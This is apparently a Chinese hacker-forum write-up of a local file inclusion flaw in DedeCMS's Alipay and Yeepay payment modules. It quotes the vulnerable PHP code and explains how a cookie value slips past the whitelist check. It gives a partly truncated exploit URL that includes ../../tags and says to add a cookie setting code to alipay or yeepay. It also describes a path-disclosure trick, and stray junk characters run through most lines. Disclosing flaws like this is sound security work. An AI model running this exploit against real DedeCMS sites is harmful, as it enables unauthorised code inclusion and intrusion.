晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)2 e9 ^* z* g7 J1 q5 ]: y. J
' B7 V8 ^$ c4 Q0 o, ]出现漏洞的两个文件为:3 G1 v. D9 I- M4 B+ i7 L- C
Include/payment/alipay.php9 d/ H% h1 X! {, @
Include/payment/yeepay.php( [7 a$ @+ g5 d
漏洞均出现在respond方法里,估计这两个文件是临时工写的。7 \, c9 G z6 L, x2 r6 O
& p; m) P9 Q. q- @/ rInclude/payment/alipay.php2 {- h' D- Y1 |
2 }+ q) N4 R* ?2 O
......
5 R! M% ^# A% `: _. N" v7 x% p function respond()
% x* ~/ T/ }7 R {
# Z: _' f0 ~ J6 J/ t if (!empty($_POST))
9 r- {' `8 F5 U% @' Q {
8 X% j! e% o: o. e. E! x, t foreach($_POST as $key => $data)* h2 @7 c j$ B* \+ U" W4 h
{0 j- P. j+ a/ I0 J. \
$_GET[$key] = $data;
1 y: {. _! X0 f3 e( j }* i$ M! Y& G) z- ^; T, _. I$ G& c
}
" R1 Q* m; a+ f. S; g /* 引入配置文件 */: Q+ T9 H1 J( Q4 z$ o: _3 R* e
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';) Z9 _2 P. ?0 z3 q6 O7 o$ c
......
. _9 Z) J5 [3 x2 R. E2 @
% r4 \- i4 C7 e) J3 r8 y+ s4 O `8 }4 P& z
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。/ j2 l9 z- I# h
# N. F9 n% A$ T: q5 [4 hInclude/payment/yeepay.php
/ l" O2 C3 E7 I- N# e3 }7 c, R
4 Y* e& H1 _ G' U
$ `- W& c. l% M* u
......0 Y- L1 Q& s N6 U$ K5 t- I( h
function respond()
& v; E: {+ n1 u3 ~' z2 \9 f |- o8 y {
# I) s, d6 ^1 o/ W4 r5 k
- c; C7 I+ i7 K" L ~ /* 引入配置文件 */
5 a+ P% u! o Y* \, f require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
6 [3 H9 F% O1 N. Z$ A
" [, h3 [. ^0 J- E $p1_MerId = trim($payment['yp_account']);3 q, l8 n& c2 s$ j+ K. p
$merchantKey = trim($payment['yp_key']);' y6 Q4 Z1 n1 Q$ Z4 q
......
. k Y8 M. ^9 B$ e" C , k1 O2 @2 f: J, W& l
- Q9 f2 m' P( q- s; t% Z
/ Q' U% |4 k% k
' g( C8 W2 e! D7 Q4 _大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。, z8 Z$ @: ]4 I
5 W' x: O" k) \, u: l6 E这两个方法在plus/carbuyaction.php文件调用。# B' B, S6 o/ B( y% I
* B! P: n3 |+ ^8 k/ V. xplus/carbuyaction.php# |9 v7 c% J" D& S5 c9 i
1 ?: V% B8 x3 ^9 _) M$ G......
# Q1 \; f4 ]% Z. Y7 a6 }} else if ($dopost == 'return') {9 M& l& S7 K9 P1 E5 f
$write_list = array('alipay', 'bank', 'cod', 'yeepay');. m2 e$ H4 Z$ l
if (in_array($code, $write_list))
& B. ]# G1 {" @# G. S6 l W {: l" f8 p7 q$ v, X: ]. M. Z+ N
require_once DEDEINC.'/payment/'.$code.'.php';0 ]& d% X ]! U2 g! B }. o0 C& \
$pay = new $code;
! o: o6 t8 G5 a9 s: V3 z $msg=$pay->respond();
/ z9 }$ |$ R- s4 L4 \( Y$ Y ShowMsg($msg, "javascript:;", 0, 3000);4 r& e) b6 [. X# P; [- [# n
exit(); 2 c- ?4 X. U0 Q8 K7 [, I7 ~% ^
} else {
1 _; C& m- Y) z/ {* T5 [" ^ exit('Error:File Type Can\'t Recognized!');" Z* ~' R4 T; \ g
}
% Z- D( ?0 ]5 `4 v}3 X, L1 M- ~% t9 _% e* g' d
...... 1 ^8 H9 o3 o9 S
( m; N4 q+ |- f4 k2 Q: ?
; q) o9 n, c2 @, X+ n
& b3 `: Z" ?4 g, n3 c
; V( A" l# P' |+ l. @
( u6 R3 q/ A9 ? h& K% `& y7 c
$ ]; A. c H2 M8 k大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。- K! T- e/ F) j a( f
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。3 X1 a7 G6 Q" p; b& f h9 Q* d
( r& _1 Z9 s- [1 S8 r( F
回到include/common.inc.php来看看他的机制。! X9 E- I4 [6 A5 ]: e
$ R0 o8 _( H: \
+ Z f: @3 K2 O* P! a, w: n2 k
) T6 h, I7 ]; ^; e4 I, g% m) t......4 s% I' x* m* h
foreach(Array('_GET','_POST','_COOKIE') as $_request)
1 T* t( }' Y* } \9 h{
* [& x' a3 ^7 G! l foreach($$_request as $_k => $_v) & I, d/ e( W9 @
{( A, X2 ~0 s) }: w5 @
if($_k == 'nvarname') ${$_k} = $_v;
4 C% |( k2 U, q3 [) r else ${$_k} = _RunMagicQuotes($_v);( L3 D4 O# L8 G" a2 I% W* N
}8 a: I$ I. r7 _0 N1 p9 q
}
) t# [+ U7 B$ t; u......
$ e4 k t* o+ D+ x大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
, T; A/ D! q- p! N: V4 g# I4 ~由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |